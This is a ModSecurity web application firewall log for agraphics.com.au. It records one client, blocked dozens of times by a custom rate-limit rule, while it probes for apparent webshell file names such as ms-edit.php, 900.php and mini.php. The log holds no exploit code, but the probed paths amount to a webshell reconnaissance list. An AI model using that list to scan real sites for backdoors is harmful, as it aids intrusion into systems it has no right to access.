[Thu Apr 23 21:29:30.910480 2026] [:error] [pid 42971:tid 43010] [client 20.251.223.35:56504] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoeujEP2_5RswrH8bEsOwAAABg"]
[Thu Apr 23 21:29:31.262615 2026] [:error] [pid 64998:tid 65009] [client 20.251.223.35:33268] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aeoeu4V5EysYcTLjmwiAhAAAAcc"]
[Thu Apr 23 21:29:31.434826 2026] [:error] [pid 42973:tid 43055] [client 20.251.223.35:33263] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoeu26I0QqmmmLTHE0dsQAAAIw"]
[Thu Apr 23 21:29:31.964176 2026] [:error] [pid 46953:tid 46965] [client 20.251.223.35:56526] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoeu0nlpdHh-P6wKbo6ZQAAAkk"]
[Thu Apr 23 21:29:32.021046 2026] [:error] [pid 42973:tid 43062] [client 20.251.223.35:61815] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoevG6I0QqmmmLTHE0dsgAAAJM"]
[Thu Apr 23 21:29:32.586397 2026] [:error] [pid 46953:tid 46974] [client 20.251.223.35:54767] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoevEnlpdHh-P6wKbo6ZwAAAlI"]
[Thu Apr 23 21:29:32.804421 2026] [:error] [pid 25635:tid 25659] [client 20.251.223.35:56470] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoevMRxv6UsgRGKB3I0pQAAARQ"]
[Thu Apr 23 21:29:33.127787 2026] [:error] [pid 42971:tid 43007] [client 20.251.223.35:42331] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoevTEP2_5RswrH8bEsPgAAABU"]
[Thu Apr 23 21:29:33.586571 2026] [:error] [pid 42973:tid 43054] [client 20.251.223.35:31472] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoevW6I0QqmmmLTHE0dtwAAAIs"]
[Thu Apr 23 21:29:33.644615 2026] [:error] [pid 59700:tid 59707] [client 20.251.223.35:44428] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoevZXyGZJFeAIDWtkq7AAAAUU"]
[Thu Apr 23 21:29:34.151159 2026] [:error] [pid 42973:tid 43044] [client 20.251.223.35:48391] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aeoevm6I0QqmmmLTHE0duAAAAIE"]
[Thu Apr 23 21:29:34.189814 2026] [:error] [pid 42971:tid 43002] [client 20.251.223.35:43606] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoevjEP2_5RswrH8bEsQQAAABA"]
[Thu Apr 23 21:29:34.707717 2026] [:error] [pid 64998:tid 65005] [client 20.251.223.35:36457] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoevoV5EysYcTLjmwiAjwAAAcM"]
[Thu Apr 23 21:29:34.885641 2026] [:error] [pid 64998:tid 65012] [client 20.251.223.35:53498] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoevoV5EysYcTLjmwiAkQAAAco"]
[Thu Apr 23 21:29:35.225806 2026] [:error] [pid 65000:tid 65044] [client 20.251.223.35:43621] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoev76vRb9j6psK2ZaNogAAAgs"]
[Thu Apr 23 21:29:35.644737 2026] [:error] [pid 46953:tid 46975] [client 20.251.223.35:36468] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoev0nlpdHh-P6wKbo6agAAAlM"]
[Thu Apr 23 21:29:35.773674 2026] [:error] [pid 42972:tid 43033] [client 20.251.223.35:61829] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoev8OAb-3sOknsk4c_AQAAAFE"]
[Thu Apr 23 21:29:36.337656 2026] [:error] [pid 65000:tid 65050] [client 20.251.223.35:56516] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoewL6vRb9j6psK2ZaNowAAAhE"]
[Thu Apr 23 21:29:36.819383 2026] [:error] [pid 42972:tid 43029] [client 20.251.223.35:42351] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoewMOAb-3sOknsk4c_BgAAAE0"]
[Thu Apr 23 21:29:36.881145 2026] [:error] [pid 65000:tid 65031] [client 20.251.223.35:42309] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoewL6vRb9j6psK2ZaNpQAAAgI"]
[Thu Apr 23 21:29:37.507115 2026] [:error] [pid 64998:tid 65005] [client 20.251.223.35:36420] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoewYV5EysYcTLjmwiAnQAAAcM"]
[Thu Apr 23 21:29:37.627146 2026] [:error] [pid 42972:tid 43023] [client 20.251.223.35:48439] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-access.php"] [unique_id "aeoewcOAb-3sOknsk4c_DAAAAEc"]
[Thu Apr 23 21:29:38.178359 2026] [:error] [pid 65000:tid 65040] [client 20.251.223.35:33240] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoewr6vRb9j6psK2ZaNqAAAAgc"]
[Thu Apr 23 21:29:38.382590 2026] [:error] [pid 42972:tid 43025] [client 20.251.223.35:33277] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoewsOAb-3sOknsk4c_DgAAAEk"]
[Thu Apr 23 21:29:38.894887 2026] [:error] [pid 46953:tid 46981] [client 20.251.223.35:56538] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoewknlpdHh-P6wKbo6bQAAAlg"]
[Thu Apr 23 21:29:39.831497 2026] [:error] [pid 42972:tid 43040] [client 20.251.223.35:31479] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoew8OAb-3sOknsk4c_EQAAAFg"]
[Thu Apr 23 21:29:39.892057 2026] [:error] [pid 42972:tid 43021] [client 20.251.223.35:48441] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoew8OAb-3sOknsk4c_EgAAAEU"]
[Thu Apr 23 21:29:40.849030 2026] [:error] [pid 65000:tid 65043] [client 20.251.223.35:42310] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoexL6vRb9j6psK2ZaNtgAAAgo"]
[Thu Apr 23 21:29:40.959061 2026] [:error] [pid 65000:tid 65044] [client 20.251.223.35:56450] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoexL6vRb9j6psK2ZaNuAAAAgs"]
[Thu Apr 23 21:29:42.111020 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:33243] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoexr6vRb9j6psK2ZaNvgAAAhY"]
[Thu Apr 23 21:29:42.485866 2026] [:error] [pid 65000:tid 65048] [client 20.251.223.35:56474] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-class-atom.php"] [unique_id "aeoexr6vRb9j6psK2ZaNwAAAAg8"]
[Thu Apr 23 21:29:43.631231 2026] [:error] [pid 65000:tid 65055] [client 20.251.223.35:42317] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoex76vRb9j6psK2ZaNyAAAAhY"]
[Thu Apr 23 21:29:43.683396 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:56548] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoex76vRb9j6psK2ZaNygAAAg0"]
[Thu Apr 23 21:29:44.536163 2026] [:error] [pid 65000:tid 65053] [client 20.251.223.35:43121] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoeyL6vRb9j6psK2ZaNzQAAAhQ"]
[Thu Apr 23 21:29:45.044923 2026] [:error] [pid 42972:tid 43029] [client 20.251.223.35:56468] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jk.php"] [unique_id "aeoeycOAb-3sOknsk4c_GAAAAE0"]
[Thu Apr 23 21:29:45.178559 2026] [:error] [pid 64998:tid 65024] [client 20.251.223.35:43632] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoeyYV5EysYcTLjmwiArgAAAdY"]
[Thu Apr 23 21:29:45.956393 2026] [:error] [pid 65000:tid 65052] [client 20.251.223.35:56562] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoeyb6vRb9j6psK2ZaN1gAAAhM"]
[Thu Apr 23 21:29:46.401121 2026] [:error] [pid 42973:tid 43051] [client 20.251.223.35:43073] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms-edit.php"] [unique_id "aeoeym6I0QqmmmLTHE0dxAAAAIg"]
[Thu Apr 23 21:29:47.637131 2026] [:error] [pid 64998:tid 65007] [client 20.251.223.35:56555] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoey4V5EysYcTLjmwiAtQAAAcU"]
[Thu Apr 23 21:29:47.785524 2026] [:error] [pid 64998:tid 65026] [client 20.251.223.35:36443] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoey4V5EysYcTLjmwiAtgAAAdg"]
[Thu Apr 23 21:29:49.583176 2026] [:error] [pid 64998:tid 65011] [client 20.251.223.35:56493] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoezYV5EysYcTLjmwiAvgAAAck"]
[Thu Apr 23 21:29:50.592710 2026] [:error] [pid 65000:tid 65051] [client 20.251.223.35:43099] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoezr6vRb9j6psK2ZaN3QAAAhI"]
[Thu Apr 23 21:29:51.563792 2026] [:error] [pid 42973:tid 43066] [client 20.251.223.35:61838] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "aeoez26I0QqmmmLTHE0dzgAAAJc"]
[Thu Apr 23 21:29:51.580645 2026] [:error] [pid 65000:tid 65041] [client 20.251.223.35:61777] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoez76vRb9j6psK2ZaN4AAAAgg"]
[Thu Apr 23 21:29:53.031307 2026] [:error] [pid 59700:tid 59717] [client 20.251.223.35:32556] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoe0ZXyGZJFeAIDWtkq9wAAAU8"]
[Thu Apr 23 21:29:53.120341 2026] [:error] [pid 65000:tid 65029] [client 20.251.223.35:56569] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/press.php"] [unique_id "aeoe0b6vRb9j6psK2ZaN4gAAAgA"]
[Thu Apr 23 21:29:54.427946 2026] [:error] [pid 42973:tid 43067] [client 20.251.223.35:54768] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoe0m6I0QqmmmLTHE0d2QAAAJg"]
[Thu Apr 23 21:29:55.216985 2026] [:error] [pid 42972:tid 43021] [client 20.251.223.35:56535] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoe08OAb-3sOknsk4c_JQAAAEU"]
[Thu Apr 23 21:29:55.372674 2026] [:error] [pid 65000:tid 65046] [client 20.251.223.35:42353] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoe076vRb9j6psK2ZaN4wAAAg0"]
[Thu Apr 23 21:29:56.482990 2026] [:error] [pid 65000:tid 65048] [client 20.251.223.35:31450] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeoe1L6vRb9j6psK2ZaN5AAAAg8"]
[Thu Apr 23 21:29:56.604401 2026] [:error] [pid 65000:tid 65038] [client 20.251.223.35:42365] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoe1L6vRb9j6psK2ZaN5QAAAgU"]
[Thu Apr 23 21:29:57.711424 2026] [:error] [pid 64998:tid 65021] [client 20.251.223.35:56462] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoe1YV5EysYcTLjmwiA0AAAAdM"]
[Thu Apr 23 21:29:58.279027 2026] [:error] [pid 64998:tid 65003] [client 20.251.223.35:32551] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoe1oV5EysYcTLjmwiA0gAAAcE"]
[Thu Apr 23 21:29:59.340616 2026] [:error] [pid 64998:tid 65025] [client 20.251.223.35:44429] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/900.php"] [unique_id "aeoe14V5EysYcTLjmwiA2gAAAdc"]
[Thu Apr 23 21:30:00.093657 2026] [:error] [pid 42973:tid 43067] [client 20.251.223.35:33256] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aeoe2G6I0QqmmmLTHE0d2gAAAJg"]
[Thu Apr 23 21:30:00.631966 2026] [:error] [pid 65000:tid 65029] [client 20.251.223.35:59739] [client 20.251.223.35] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aeoe2L6vRb9j6psK2ZaN6gAAAgA"]
